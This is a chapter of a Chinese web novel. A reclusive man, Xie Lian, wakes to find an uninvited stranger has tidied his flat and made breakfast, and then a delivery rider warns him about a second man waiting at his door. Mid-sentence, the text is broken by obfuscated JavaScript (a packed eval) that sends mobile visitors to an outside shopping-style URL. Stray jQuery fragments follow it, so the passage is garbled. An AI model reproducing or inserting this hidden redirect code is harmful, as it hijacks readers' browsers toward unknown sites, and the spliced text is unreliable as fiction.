谢敛盯着天花板发愣。
从门在身后关上开始，他的脑子就开始变得迟钝。
有科学研究结果表示，人在压力过大的时候，前额叶皮层就会暂时“下线”，让杏仁核接管主导权，开启“节能模式”。从表现形式来看会导致人出现“战斗”或“逃跑”的行为，很显然，谢敛选择了逃跑。
他把脸埋进枕头里，鼻尖是自己熟悉的气息，让他终于放松了些。随后他就睡着了，一夜无梦，罕见地睡了个好觉。
等他再睁开眼时，窗帘透进来的光已经从灰蒙蒙变成了暖黄色。
他翻了个身，摸索着从被子里翻出手机，打开时被亮光刺得眯起眼。
早上九点一十七分，他竟然一口气睡到了第二天。难怪脑袋又沉又痛。
谢敛闭眼，放下手机按了按眉心，无奈地叹了口气。
他还是太勤勉了，不上班也起这么早。
他赖床般躺了几分钟，然后坐起身，抓了抓乱糟糟的头发，打着哈欠起了床。
他直到下床后才意识到自己还穿着昨天的衣服，沾着地下室的霉味和赌场里的血腥气，提醒他昨天发生了什么。一想到他就穿着这套衣服睡了一宿，更烦了。
谢敛推开卧室门准备去洗个澡，刚迈出门一步就站在原地不动了。
整个客厅亮堂堂的，不止是亮。茶几上的各种包装袋不见了，沙发上不知道是干净还是脏的衣服消失了，就连地上的落发与残渣碎屑都一并消失，窗台上几乎枯死的绿植被仔细清理并浇过水，只剩下光秃秃的枝干和几片残叶，整个空间内都散发着焕然一新的干净。
谢敛站在原地，眼皮还半耷拉着，嘴巴不自觉地微微张开，面无表情地呆站了至少十秒钟。
他甚至后退一步回头望了望自己的卧室——熟悉到令人安心的混乱。他昨天穿的运动鞋还一只在床边只翻倒在半米外的地方，估计是脱鞋的时候随便踢掉的。
谢敛怀疑自己是不是睡蒙了，或是出现了自己卧室门和别人家联通的错位时空情况。反复进出数次才确定这里还是他家，他没走错更没有被什么人整蛊。
这是他住了近一年的地方？
谢敛平时做家务都敷衍了事，擦桌子只擦最上层，架子只清理看得见的地方，扫地拖地自动无视角落里的灰尘，一直秉承着能凑合活就行的原则清理居住环境。
但这里现在干净得像请过专业的保洁一样，要不是布局没变，他真要认不出这是他家里。
谢敛当下的感觉有些微妙，不知道的还以为他碰到田螺姑娘了。
他的目光转向窗户。大片的阳光毫不客气地闯入客厅，照亮每一个角落。
那扇他从入住第一天起就拉得死死的窗帘，此刻被彻底扯到两边，用那根他几乎没碰过的绑带扎起。
谢敛嘴角耷拉下来。
平时遮光布一挡就分不清白天黑夜，早就习惯了，现在满屋子的光，让他感觉自己像一只活了几百年的老吸血鬼，突然被人从棺材里拖出来扔到正午的太阳底下暴晒，每一寸皮肤都开始发痒，浑身难受。
厨房里传出声响，谢敛转头看去。一个高大的身影从厨房里走出，系着超市会员积分达标后在妇女节赠送的一条碎花围裙——谢敛本以为那条围裙直到发烂都不会被拆开，现在却以一种不合时宜的姿态出现在男人身上。
粉紫色的底，印着白色小花，系带在身后随意绑着，肩带两侧还有条傻兮兮的荷叶边。那条围裙的尺寸对于男人来说显然太小，勒在他健硕的胸膛上，勾勒出性感的身材线条，但因为围裙过于粉嫩俏皮的设计，又显出几分荒诞效果。
“田螺姑娘”端着一个白瓷碗从厨房走出，热气从碗里袅袅升起。他把碗放在餐桌上，用围裙擦了擦手。
谢敛目光落在那碗面上。清亮的汤底，面条整齐地码在碗中，上面还卧着一个圆润的溏心荷包蛋，绿白的葱花撒在上面点缀，被热气一熏，香味就飘过来。
谢敛的胃轻微地抽搐了一下，隐蔽地咽了咽口水，让自己表现得没那么抵挡不住诱惑。
“冰箱里什么都没有，只能用这些凑合了。”
他说这话时自然得好像这里是他家。
谢敛眼皮跳了一下，沉眠的领地意识终于从震惊中苏醒。他皱眉看向男人，声音里是不加掩饰的不悦：
“谁让你乱动我的东西了？”
不请自来在家待了一晚，把他家整理了一番煮了早饭，还嫌弃他冰箱里没东西——这到底是谁家？
然而男人就像是没听到一样，只是把筷子整齐地搁在碗沿上，将那条不合身的围裙解下，随手搭在椅背上。
“吃不吃？”他问。
“不吃。”
谢敛回答得斩钉截铁，转身就往卧室走。准备回到那个昏暗但安全，没有这些莫名其妙变化的房间。
但他还没走出几步就被拦下。
男人如同闪现般出现在他前方——明明刚才还在餐桌边。就像昨天一样，移动迅速且不发出一点声音。
谢敛被堵在原地，男人往那一站，门框被挡得严严实实，侧着身都钻不进去。
那种体型差距带来的压迫感在此刻变得格外具体，谢敛甚至能闻到对方身上和他同款的沐浴露的气味。
这家伙居然还偷用了他的沐浴露洗澡！记账上，回头和洗沙发的费用一起算。
“你至少24个小时没进食过任何东西了。”他说。
谢敛抬眼：“哦，然后呢？关你什么事。”
男人的眉毛挑了挑：“你怎么不高兴？”
谢敛：“我没有不高兴。”
“那你吃面。”
“我不吃。”
男人叹气：“不要闹脾气。”
谢敛感觉自己的拳头好像硬了，现在十分想和男人的侧脸来一次亲密接触。
厌恶的情绪加重了胃部的不适，让谢敛现在更想吐了，半点胃口都提不上来。
就在两人这么对峙着时，谢敛的手机突然响了。
谢敛低头看了眼屏幕，显示备注外卖。
男人问是谁打的，谢敛充耳不闻，往旁边走了两步，避开男人，随后才接通电话。
“喂，外卖吗？我备注了放门口就行。”
电话那头沉默了一秒。
外卖员的声音传来，听上去有点为难，音量刻意压得很低，像是怕被什么人听见：
“那个……先生，要不您还是自己出来拿一下吧。”
谢敛顿了一下，有些疑惑：“怎么了？”
他买的不是热食，就算不立即出去拿也没问题。
电梯口。
外卖员谨慎询问
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17742706|209134||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
：“我想问一下，您门口站着的这人……您认识吗？”
外卖员是个二十出头的年轻人，穿着还算新的黄色冲锋衣，显然是个刚出来跑外卖的新人。事实上也确实如此，不过他只是借着空闲时间出来跑外卖赚零花钱的大学生，对时间抓得也就没那么要紧。他侧身对着电梯门，尽量让自己显得自然一些，但眼角余光一直往对面的住户门前瞟。
外卖地址上填的501住户门前站着一个男人，看上去和外卖员差不多大，正靠在501的门上蔫头巴脑等着什么。
外卖员没少看网络短视频，面对这种情况的第一反应就是：小情侣吵架了，男朋友蹲在女方门口等着求复合。
如果是在小说里遇到这种剧情，外卖员还会感慨一句深情，但他刷到的全是法制栏目短视频。在骨感的现实里结果肯定不怎么美好，大多是男方死缠烂打，运气再差一点遇到极端心理群体，搞不好还会出人命。毕竟谁知道这深情人士会不会求复合失败后来一场血呼刺啦的殉情。
因此，外卖员打起了十二分警戒；就算客户备注的是放门口，但万一人家一打开门那男的就冲进去呢？出了事怎么办？外卖员可不想事业刚起步就遭遇凶杀案，保险起间才打了个电话询问情况。
不过听声音似乎是个男的——难道他猜错了？
不管了，大上午不去上班蹲在别人家门口的能是什么好人。
外卖员把手机贴紧耳朵，用手挡住嘴形，一边观察着门口男人一边通话：
“需要我拍个照片让您看看是您朋友吗？我没别的意思，就是担心您是不是被什么不法分子盯上了，要不我帮您报个警？这里离警局还挺近的。”
外面有手快发去了照片，显示已读后，电话那头沉默了两秒。外卖员还以为对方没听清，随后一道慵懒的声音传出：
“……没事，我知道了。”
随后电话便被挂断，外卖员攥着手机看了看门口的人，不知道该走还是该留。
谢敛看着照片上的人，退出后熄屏。他瞥了眼男人，男人正歪着头看他，黑沉沉的眼睛里带着点好奇。
谢敛无视他直勾勾的眼神，手机揣进兜里走去开门，身后还传来男人说大早上吃外卖不健康的嚷嚷，被谢敛一并无视。
就他这厨艺，不吃外卖等着饿死吧。
谢敛拉开门。门外，靠在门板上的人察觉到动静，蹭地一下站起——动作太快，差点没站稳。
他脸上带着一种等待许久的期盼，眼睛亮晶晶地看着谢敛，嘴唇动了动，像是想说什么又不知道该怎么开口，一见面就把预先想好的台词全忘了。
电梯口的外卖员见门开了，赶紧三步并作两步拎着袋子走上来，把东西递给谢敛，同时又忍不住往旁边那人身上瞟了好几眼。然而齐向阳现在注意力全在谢敛身上，外卖员微妙的眼神在他身上转了一圈他也愣是没察觉。
谢敛接过袋子说了声谢谢，然后转向齐向阳。
“别在门口杵着了，进来。”
齐向阳脸上当即绽开了花，乐乐呵呵地应了一声，跟着谢敛钻进屋内，不忘顺手把门带上。
“砰。”
房门关上，将满心好奇跟着往里看的外卖员挡在外面。
八卦失败的外卖员表情复杂。
——所以这两人什么关系？